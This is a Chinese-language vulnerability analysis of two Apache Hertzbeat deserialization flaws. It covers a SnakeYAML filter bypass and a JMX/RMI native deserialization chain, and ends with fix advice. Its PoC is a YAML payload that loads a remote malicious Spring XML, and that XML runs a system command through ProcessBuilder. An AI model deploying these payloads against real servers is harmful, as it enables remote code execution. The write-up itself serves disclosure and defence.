Apache Hertzbeat CVE-2024-42323 & CVE-2024-45505 挖掘记录
字数 1336 2025-08-22 12:23:35
Apache Hertzbeat 反序列化漏洞分析 (CVE-2024-42323 & CVE-2024-45505)
漏洞概述
本文档详细分析Apache Hertzbeat中发现的两种反序列化远程代码执行漏洞:
- CVE-2024-42323: SnakeYaml反序列化RCE绕过漏洞
- CVE-2024-45505: 原生反序列化RCE漏洞
这两个漏洞都是在Hertzbeat项目被贡献到Apache基金会孵化前发现的。
漏洞一:SnakeYaml反序列化RCE绕过 (CVE-2024-42323)
漏洞背景
Hertzbeat使用SnakeYaml库进行YAML解析,存在反序列化漏洞。虽然新版本对传入数据进行了过滤,但过滤机制存在缺陷。
过滤机制分析
系统对传入数据进行了以下关键字过滤:
ScriptEngineManagerURLClassLoader
这种过滤方式非常容易被绕过,因为攻击者可以使用其他利用链。
利用限制
在目标环境中存在以下限制:
- JDK版本为11
- Java环境为JRE
- 与LDAP相关的利用链难以使用
绕过方法
使用org.springframework.context.support.ClassPathXmlApplicationContext类加载恶意XML文件实现RCE。
PoC
{
"define": "category: !!org.springframework.context.support.ClassPathXmlApplicationContext [\"http://192.168.5.164:8000/hack.xml\"]"
}
恶意XML示例
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/pwned</value>
</list>
</constructor-arg>
</bean>
</beans>
攻击流程
- 构造包含恶意YAML的请求
- 服务端解析YAML时触发反序列化
- 加载远程恶意XML文件
- XML中定义的ProcessBuilder执行系统命令
漏洞二:原生反序列化RCE (CVE-2024-45505)
漏洞位置
漏洞位于org.dromara.hertzbeat.collector.collect.jmx.JmxCollectImpl#getConnectSession方法中,用户可控制url参数值。
漏洞分析
- 用户控制的url参数传递给
JMXConnectorFactory#newJMXConnector - 返回
RMIConnector实例 - 调用
RMIConnector的connect方法 - 最终调用
findRMIServer方法 - 当url符合特定要求时,进入JDK原生反序列化逻辑
- 反序列化url中的base64数据
利用条件
项目中存在CommonsBeanutils依赖,可直接使用相关利用链。
PoC
URL中包含base64编码的CommonsBeanutils1 9.2版本的序列化数据,执行命令为touch /tmp/cccc。
漏洞修复建议
对于SnakeYaml反序列化漏洞
- 禁用危险的YAML特性
- 实现更严格的反序列化类白名单机制
对于原生反序列化漏洞
- 禁止JMX连接URL参数完全可控
- 添加反序列化类白名单验证
- 升级相关依赖库到安全版本
总结
这两个漏洞都涉及Java反序列化安全问题,虽然表现形式不同,但都可能导致远程代码执行。建议开发者:
- 避免直接反序列化不可信数据
- 实施严格的反序列化类白名单
- 定期更新依赖库
- 对用户输入进行严格验证和过滤
对于安全研究人员,这些案例展示了:
- 过滤机制绕过技巧
- 不同反序列化场景下的利用方法
- 环境限制下的利用链选择